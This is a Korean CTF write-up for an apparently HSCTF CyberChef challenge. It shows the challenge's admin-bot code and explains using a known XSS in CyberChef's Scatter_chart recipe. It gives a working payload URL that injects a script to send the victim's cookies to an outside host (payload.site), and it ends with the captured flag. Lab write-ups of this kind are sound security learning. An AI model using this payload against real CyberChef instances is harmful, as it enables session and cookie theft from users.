const express = require('express');
const bodyParser = require('body-parser');
const { checkRateLimit, checkUrl, visitUrl } = require('./utils');

const app = express();

app.set('view engine', 'ejs');

app.use(bodyParser.urlencoded({
  extended: false
}));

app.get('/', (req, res) => {
  res.render('index');
});

app.post('/report', (req, res) => {
  const url = req.body.url;

  if (!checkUrl(url)) {
    res.redirect('/?message=invalid argument');
  } else if (!checkRateLimit(req.ip)) {
    res.redirect(`/?message=rate limited`);
  } else {
    visitUrl(url)
      .then(() => res.redirect('/?message=reported'));
  }
});

app.listen(8001);
JavaScript
복사

# utils.js

const webdriver = require('selenium-webdriver');
const capabilities = webdriver.Capabilities.chrome();

const flag = require('fs').readFileSync('/flag').toString().trim();

const rateLimit = 30 * 1000;
const pageTimeout = 3 * 1000;
const urlPrefix = 'http://cyberchef:8000/';

const timestamps = new Map();

const sleep = (ms) => {
  return new Promise((resolve) => {
    setTimeout(() => resolve(), ms);
  });
};

const checkRateLimit = (key) => {
  const now = Date.now();

  if (timestamps.has(key) && timestamps.get(key) > now - rateLimit) {
    return false;
  }

  timestamps.set(key, now);
  return true;
};

const checkUrl = (url) => {
  return !(typeof url !== 'string' || !url.startsWith(urlPrefix) || url.length > 1024);
};

const visitUrl = (url) => {
  return new Promise(async (resolve) => {
    const driver = new webdriver.Builder('chrome')
      .usingServer('http://selenium:4444/wd/hub/')
      .withCapabilities(capabilities)
      .build();

    await driver.get(urlPrefix);

    await driver.manage().addCookie({
      name: 'flag',
      value: flag
    });

    await driver.manage().setTimeouts({
      implicit: pageTimeout,
      pageLoad: pageTimeout,
      script: pageTimeout
    });

    await driver.get(url);
    await sleep(pageTimeout);
    await driver.quit();

    resolve();
  });
};

module.exports = {
  checkRateLimit,
  checkUrl,
  visitUrl
};
JavaScript
복사

# CyberChef

Console로 확인하면 아래와 같이 확인할 수 있습니다.

JavaScript
복사

Hex to Ascii 사이트에 접속하여 문자열을 확인하면 아래와 같은 문자열을 확인할 수 있습니다.

Congratulations, you have completed CyberChef challenge #1!

This challenge explored hexadecimal encoding. To learn more, visit wikipedia.org/wiki/Hexadecimal.

The code for this challenge is 9d4cbcef-be52-4751-a2b2-8338e6409416 (keep this private).

The next challenge can be found at https://pastebin.com/GSnTAmkV.
JavaScript
복사

# Attack Vector

## CyberChef

# CyberChef challenge

계속해서 Challenge 문제가 나오지만 낚시가 아닐까 생각할 수 있습니다.

# CyberChef XSS

실제 utils.js 파일을 분석해보면 아래와 같이 chrome driver를 통해서 웹 사이트에 접속하며, driver에 flag에 Cookie를 설정합니다.

const visitUrl = (url) => {
  return new Promise(async (resolve) => {
    const driver = new webdriver.Builder('chrome')
      .usingServer('http://selenium:4444/wd/hub/')
      .withCapabilities(capabilities)
      .build();

    await driver.get(urlPrefix);

    await driver.manage().addCookie({
      name: 'flag',
      value: flag
    });

    await driver.manage().setTimeouts({
      implicit: pageTimeout,
      pageLoad: pageTimeout,
      script: pageTimeout
    });

    await driver.get(url);
    await sleep(pageTimeout);
    await driver.quit();

    resolve();
  });
};
JavaScript
복사

위 코드를 바탕으로 XSS 취약점을 이용하여 Flag를 획득하는 문제가 아닐까 생각할 수 있습니다.

또한 아래의 Download CyberChef를 눌러서 소스코드를 다운로드해보면

CyberChef_v9.32.3 버전을 사용하는 것을 확인할 수 있으며, 최신버전을 사용하고 있습니다.

CyberChef Github에 접속하여 Issues에서 XSS를 검색합니다.

아래의 사이트에 접속하여 Payload를 확인한 뒤

1265

issues

#recipe=Scatter_chart('Line%20feed','Space',false,'','','red%22%3E%3Cscript%3Ealert(%22XSS:%20%22%20%2B%20document.domain)%3C/script%3E',100,false)&input=MTAwLCAxMDA
Bash
복사

실제 CTF URL에 입력시 XSS가 발생하는 것을 확인할 수 있습니다.

# Exploit

# Payload

아래의 URL을 Report하면 Cookie 값을 확인할 수 있습니다.

http://cyberchef:8000/#recipe=Scatter_chart('Line%20feed','Space',false,'','','red%22%3E%3Cscript%3Elocation.href%3d%22https://payload.site/?%22%2Bdocument.cookie%3C/script%3E',100,false)&input=MTAwLCAxMDA
Python
복사

# Flag

hsctf{fa98fe3d32b4302aff1c322c925238a9d935b636f265cbfdd798391ca9c5a905}
Plain Text
복사